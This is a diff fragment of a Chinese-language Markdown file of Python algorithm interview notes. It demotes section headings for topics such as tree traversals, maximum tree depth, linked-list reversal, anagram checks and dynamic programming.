```
-## 16 深度遍历
+### 16 深度遍历
```
@@ -1419,7 +1419,7 @@ if __name__ == '__main__':
deep(tree)
```
-## 17 前中后序遍历
+### 17 前中后序遍历
深度遍历改变顺序就OK了
@@ -1464,7 +1464,7 @@ def post_trvelsal(root):
```
-## 18 求最大树深
+### 18 求最大树深
```
def maxDepth(root):
@@ -1473,7 +1473,7 @@ def maxDepth(root):
return max(maxDepth(root.left), maxDepth(root.right)) + 1
```
-## 19 求两棵树是否相同
+### 19 求两棵树是否相同
```
def isSameTree(p, q):
@@ -1485,7 +1485,7 @@ def isSameTree(p, q):
return False
```
-## 20 前序中序求后序
+### 20 前序中序求后序
推荐: [http://blog.csdn.net/hinyunsin/article/details/6315502](http://blog.csdn.net/hinyunsin/article/details/6315502)
@@ -1507,7 +1507,7 @@ def deep(root):
print root.data
```
-## 21 单链表逆置
+### 21 单链表逆置
```
class Node(object):
@@ -1538,7 +1538,7 @@ while root:
方法: [http://www.xuebuyuan.com/2066385.html?mobile=1](http://www.xuebuyuan.com/2066385.html?mobile=1)
-## 22 两个字符串是否是变位词
+### 22 两个字符串是否是变位词
```
class Anagram:
@@ -1619,7 +1619,7 @@ class Anagram:
print(Solution3('apple','pleap'))
```
-## 23 动态规划问题
+### 23 动态规划问题
>
可参考:[动态规划(DP)的整理-Python描述](http://blog.csdn.net/mrlevo520/article/details/75676160)